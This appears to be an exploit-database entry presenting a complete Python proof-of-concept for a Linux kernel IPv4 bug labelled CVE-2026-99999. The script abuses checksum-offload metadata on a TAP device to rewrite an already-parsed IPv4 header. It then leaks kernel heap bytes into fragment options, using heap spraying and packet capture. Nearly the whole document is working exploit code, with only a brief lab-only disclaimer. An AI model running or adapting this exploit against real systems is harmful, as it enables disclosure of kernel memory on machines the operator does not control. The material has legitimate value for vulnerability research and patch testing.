Exploit database

GH-f1c23bc70aa36d44f0bcfc69f53109ab

gandli/cve-2026-99999-pwnescape

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-99999

10 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files1
gandli/cve-2026-99999-pwnescapeRevision b589a5e527eb

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

poc/pwnescape.py

Python · 12,152 bytes
#!/usr/bin/env python3
"""
CVE-2026-99999 — "PwnEscape" reproduction.

Linux IPv4 stack: `skb_checksum_help()` completes a deferred (CHECKSUM_PARTIAL)
checksum *before* `ip_do_fragment()` reads `iph->ihl`. If attacker-controlled
checksum metadata places `csum_start` on the IPv4 header itself, the completion
write rewrites a header field the stack has already parsed and validated.

This reproducer drives the two observable effects:

  1. header rewrite  — the first IPv4 byte goes 0x45 -> 0x4f (IHL 5 -> 15)
  2. heap disclosure — the fragmenter then copies a 60-byte "header" out of a
                       28-byte linear head, so 32 bytes of adjacent kernel
                       memory end up in the emitted fragments' IPv4 options

Geometry
    frame: [eth 14][vlan 4][vlan 4][ipv4 ...]
    csum_start = 22  -> lands exactly on the IPv4 version/IHL byte, and still
                        passes the historical `start >= sizeof(ethhdr) + 2`
                        admission check in skb_partial_csum_set().

The two VLAN tags are stripped in the receive path, so the frame-relative
coordinate (22) and the post-normalisation network header coincide while the
admission check was performed against the wrong reference frame.

Requires root (CAP_NET_ADMIN, CAP_NET_RAW) and the lab from lab/setup.sh.
For authorised research in isolated lab environments only.
"""

import argparse
import fcntl
import os
import socket
import struct
import sys
import time

# --- tun/tap ---------------------------------------------------------------
IFF_TAP = 0x0002
IFF_NO_PI = 0x1000
IFF_VNET_HDR = 0x4000
TUNSETIFF = 0x400454CA
TUNSETSNDBUF = 0x400454D4
VIRTIO_NET_HDR_F_NEEDS_CSUM = 0x01

# --- packet geometry -------------------------------------------------------
ETH_LEN = 14
VLAN_LEN = 4
IP_LEN = 20
L2_LEN = ETH_LEN + 2 * VLAN_LEN          # 22
CSUM_AT_IP = L2_LEN                      # csum_start on the IPv4 header
ETH_P_ALL = 0x0003
ETH_P_IP = 0x0800
VLAN_PROTO = 0x8100

SRC_IP = "10.0.0.2"
DST_IP = "10.99.0.2"
IP_PROTO = 253
IP_ID = 0x9999
MARKER = 0xA5
TARGET_FOLD = 0x004F                     # bytes 0x4f 0x00 -> version 4, IHL 15


# --- checksum helpers (mirror the kernel's little-endian word math) ---------
def csum_partial(buf):
    s = 0
    i = 0
    n = len(buf)
    while i + 1 < n:
        s += buf[i] | (buf[i + 1] << 8)
        i += 2
    if i < n:
        s += buf[i]
    return s & 0xFFFFFFFF


def csum_fold(s):
    s = (s & 0xFFFF) + (s >> 16)
    s = (s & 0xFFFF) + (s >> 16)
    return (~s) & 0xFFFF


def ip_checksum(hdr):
    s = 0
    for i in range(0, len(hdr) - len(hdr) % 2, 2):
        s += (hdr[i] << 8) | hdr[i + 1]
    if len(hdr) % 2:
        s += hdr[-1] << 8
    s = (s & 0xFFFF) + (s >> 16)
    s = (s & 0xFFFF) + (s >> 16)
    return (~s) & 0xFFFF


# --- packet construction ---------------------------------------------------
def datagram(payload, ip_id=IP_ID):
    """A complete, unfragmented IPv4 datagram."""
    pkt = bytearray(IP_LEN + len(payload))
    pkt[0] = 0x45
    struct.pack_into("!H", pkt, 2, len(pkt))
    struct.pack_into("!H", pkt, 4, ip_id)
    struct.pack_into("!H", pkt, 6, 0)
    pkt[8] = 64
    pkt[9] = IP_PROTO
    pkt[12:16] = socket.inet_aton(SRC_IP)
    pkt[16:20] = socket.inet_aton(DST_IP)
    pkt[IP_LEN:] = payload
    struct.pack_into("!H", pkt, 10, ip_checksum(pkt[:IP_LEN]))
    return pkt


def fragment(offset, more, payload, ip_id=IP_ID):
    """One IPv4 fragment carrying `payload` at byte `offset` of the datagram."""
    pkt = datagram(payload, ip_id)
    struct.pack_into("!H", pkt, 6, (offset // 8) | (0x2000 if more else 0))
    struct.pack_into("!H", pkt, 10, 0)
    struct.pack_into("!H", pkt, 10, ip_checksum(pkt[:IP_LEN]))
    return pkt


def forward_ttl(pkt):
    """Model ip_forward(): TTL-1 with the matching incremental checksum fixup."""
    raw = (pkt[10] | (pkt[11] << 8)) + 1
    pkt[8] = (pkt[8] - 1) & 0xFF
    pkt[10] = raw & 0xFF
    pkt[11] = (raw >> 8) & 0xFF


def solve(payload, ip_id=IP_ID):
    """
    Pick a payload word so that skb_checksum_help() stores 0x4f00 at IPv4
    offset 0 after the forwarding TTL decrement. The word sits at IPv4
    offset 32, which is inside the completing fragment.
    """
    adj = 32
    off = adj - IP_LEN
    if adj + 1 >= IP_LEN + len(payload):
        raise ValueError("payload too short for the checksum adjustment word")
    for w in range(0x10000):
        payload[off] = w & 0xFF
        payload[off + 1] = (w >> 8) & 0xFF
        pkt = datagram(payload, ip_id)
        forward_ttl(pkt)
        if csum_fold(csum_partial(bytes(pkt))) == TARGET_FOLD:
            return w
    raise RuntimeError("no adjustment word produces 0x4f00")


def frame(ip_pkt):
    """eth + two VID-0 tags + IPv4. The tags are stripped by the receive path."""
    f = bytearray(L2_LEN + len(ip_pkt))
    f[0:6] = bytes((0x02, 0x00, 0x00, 0x00, 0x00, 0x01))
    f[6:12] = bytes((0x02, 0x00, 0x00, 0x00, 0x00, 0x02))
    struct.pack_into("!H", f, 12, VLAN_PROTO)
    struct.pack_into("!H", f, 14, 0x0000)
    struct.pack_into("!H", f, 16, VLAN_PROTO)
    struct.pack_into("!H", f, 18, 0x0000)
    struct.pack_into("!H", f, 20, ETH_P_IP)
    f[L2_LEN:] = ip_pkt
    return bytes(f)


# --- tun/tap plumbing ------------------------------------------------------
def open_tap(name, page=False):
    """
    page=True puts the driver on the build_skb()/page_frag path
    (tun_can_build_skb(): TAP + O_NONBLOCK + sk_sndbuf == INT_MAX), where the
    bytes behind the linear head come from a recycled page instead of a
    zeroed slab allocation.
    """
    flags = os.O_RDWR | (os.O_NONBLOCK if page else 0)
    fd = os.open("/dev/net/tun", flags)
    ifr = bytearray(40)
    ifr[0:len(name)] = name.encode()
    struct.pack_into("<H", ifr, 16, IFF_TAP | IFF_NO_PI | IFF_VNET_HDR)
    fcntl.ioctl(fd, TUNSETIFF, bytes(ifr))
    if page:
        fcntl.ioctl(fd, TUNSETSNDBUF, struct.pack("<i", 0x7FFFFFFF))
    return fd


def write_tap(fd, pkt, csum_start=None):
    """Prefix the frame with a virtio_net_hdr (10 bytes)."""
    hdr = bytearray(10)
    if csum_start is not None:
        hdr[0] = VIRTIO_NET_HDR_F_NEEDS_CSUM
        struct.pack_into("<H", hdr, 6, csum_start)   # csum_start
        struct.pack_into("<H", hdr, 8, 0)            # csum_offset
    buf = bytes(hdr) + pkt
    for _ in range(1000):
        try:
            os.write(fd, buf)
            return
        except BlockingIOError:
            time.sleep(0.001)
    raise OSError("tap write kept returning EAGAIN")


# --- capture ---------------------------------------------------------------
def open_capture(ifname):
    s = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(ETH_P_ALL))
    s.bind((ifname, 0))
    s.settimeout(0.1)
    return s


def ipv4_of(fr):
    if len(fr) < ETH_LEN:
        return None
    off = ETH_LEN
    proto = struct.unpack_from("!H", fr, 12)[0]
    while proto == VLAN_PROTO:
        if len(fr) < off + VLAN_LEN:
            return None
        proto = struct.unpack_from("!H", fr, off + 2)[0]
        off += VLAN_LEN
    if proto != ETH_P_IP or len(fr) < off + IP_LEN:
        return None
    return fr[off:]


def collect(sock, seconds, ip_id):
    deadline = time.time() + seconds
    out = []
    while time.time() < deadline:
        try:
            fr, _ = sock.recvfrom(65535)
        except (socket.timeout, BlockingIOError):
            continue
        ip = ipv4_of(fr)
        if ip is None:
            continue
        if struct.unpack_from("!H", ip, 4)[0] != ip_id:
            continue
        out.append(ip)
    return out


# --- experiments -----------------------------------------------------------
def verify_write(tap, cap):
    """Single datagram: prove the deferred write lands on version/IHL."""
    payload = bytearray(b"\x5a" * 300)
    w = solve(payload)
    print(f"[verify] checksum adjustment word: {w:#06x} (IPv4 offset 32)")
    write_tap(tap, frame(datagram(payload)), csum_start=CSUM_AT_IP)
    pkts = collect(cap, 0.5, IP_ID)
    if not pkts:
        print("[verify] no fragment captured — lab not forwarding?")
        return False
    first = pkts[0]
    print(f"[verify] captured {len(pkts)} fragment(s); "
          f"first byte 0x{first[0]:02x} ihl={first[0] & 0x0F} "
          f"tot_len={struct.unpack_from('!H', first, 2)[0]}")
    if first[0] != 0x4F:
        print("[verify] FAILED: header was not rewritten")
        return False
    print("[verify] OK: skb_checksum_help() overwrote the parsed IPv4 header")
    return True


def leak(tap, cap, head, rest, spray, spray_fill):
    """
    Two fragments are reassembled by conntrack defrag into a datagram whose
    linear head is only 20 + head bytes. The fragmenter then copies
    ihl*4 = 60 bytes of header, reading past skb_headlen().
    """
    payload = bytearray(head + rest)
    payload[:head] = bytes([MARKER]) * head
    payload[head:] = b"\x11" * rest
    w = solve(payload)
    past = 60 - (IP_LEN + head)
    print(f"[leak] head={head} rest={rest} linear={IP_LEN + head}B "
          f"copy=60B overrun={past}B adj={w:#06x} spray={spray}")

    # Completing fragment first, so the offset-0 fragment becomes the
    # reassembled skb's linear head.
    write_tap(tap, frame(fragment(head, False, payload[head:])),
              csum_start=L2_LEN + IP_LEN)
    if spray:
        spray_frame = frame(datagram(bytes([spray_fill]) * head, 0x1000))
        for _ in range(spray):
            write_tap(tap, spray_frame)
    write_tap(tap, frame(fragment(0, True, payload[:head])),
              csum_start=CSUM_AT_IP)

    pkts = collect(cap, 0.8, IP_ID)
    if not pkts:
        print("[leak] no fragment captured")
        return False

    print(f"[leak] {len(pkts)} output fragment(s)")
    disclosed = False
    for i, ip in enumerate(pkts):
        ihl = (ip[0] & 0x0F) * 4
        print(f"  frag {i}: first=0x{ip[0]:02x} ihl={ihl}B "
              f"tot_len={struct.unpack_from('!H', ip, 2)[0]}")
        if ip[0] != 0x4F:
            continue
        options = bytes(ip[IP_LEN:ihl])
        tail = options[head:]
        nonzero = sum(1 for b in tail if b)
        print(f"    options[{len(options)}]: {options.hex()}")
        print(f"    past linear head: {len(tail)}B, {nonzero} nonzero")
        if tail:
            disclosed = True

    if disclosed:
        print(f"[leak] OK: {past} bytes copied past skb_headlen() into IPv4 options")
    else:
        print("[leak] header was rewritten but no bytes crossed the linear head")
    return disclosed


def main():
    ap = argparse.ArgumentParser(description="CVE-2026-99999 reproducer")
    ap.add_argument("--tap", default=os.environ.get("PWN_TAP", "pwntap"))
    ap.add_argument("--cap", default=os.environ.get("PWN_CAP", "pwnv1"))
    ap.add_argument("--head", type=int, default=8,
                    help="offset-0 fragment payload (multiple of 8, 8..40)")
    ap.add_argument("--rest", type=int, default=400,
                    help="payload carried by the completing fragment")
    ap.add_argument("--spray", type=int, default=0,
                    help="same-sized frames allocated just before the head skb")
    ap.add_argument("--spray-fill", type=lambda x: int(x, 0), default=0xEE)
    ap.add_argument("--page", action="store_true",
                    help="force the page_frag (build_skb) allocation path")
    ap.add_argument("--skip-verify", action="store_true")
    ap.add_argument("--only-verify", action="store_true")
    args = ap.parse_args()

    if os.geteuid() != 0:
        sys.exit("must run as root in the lab network namespace")
    if args.head < 8 or args.head % 8 or args.head > 40:
        sys.exit("--head must be a multiple of 8 in 8..40")

    tap = open_tap(args.tap, page=args.page)
    cap = open_capture(args.cap)
    try:
        if not args.skip_verify and not verify_write(tap, cap):
            return 1
        if args.only_verify:
            return 0
        return 0 if leak(tap, cap, args.head, args.rest,
                         args.spray, args.spray_fill) else 1
    finally:
        os.close(tap)
        cap.close()


if __name__ == "__main__":
    sys.exit(main())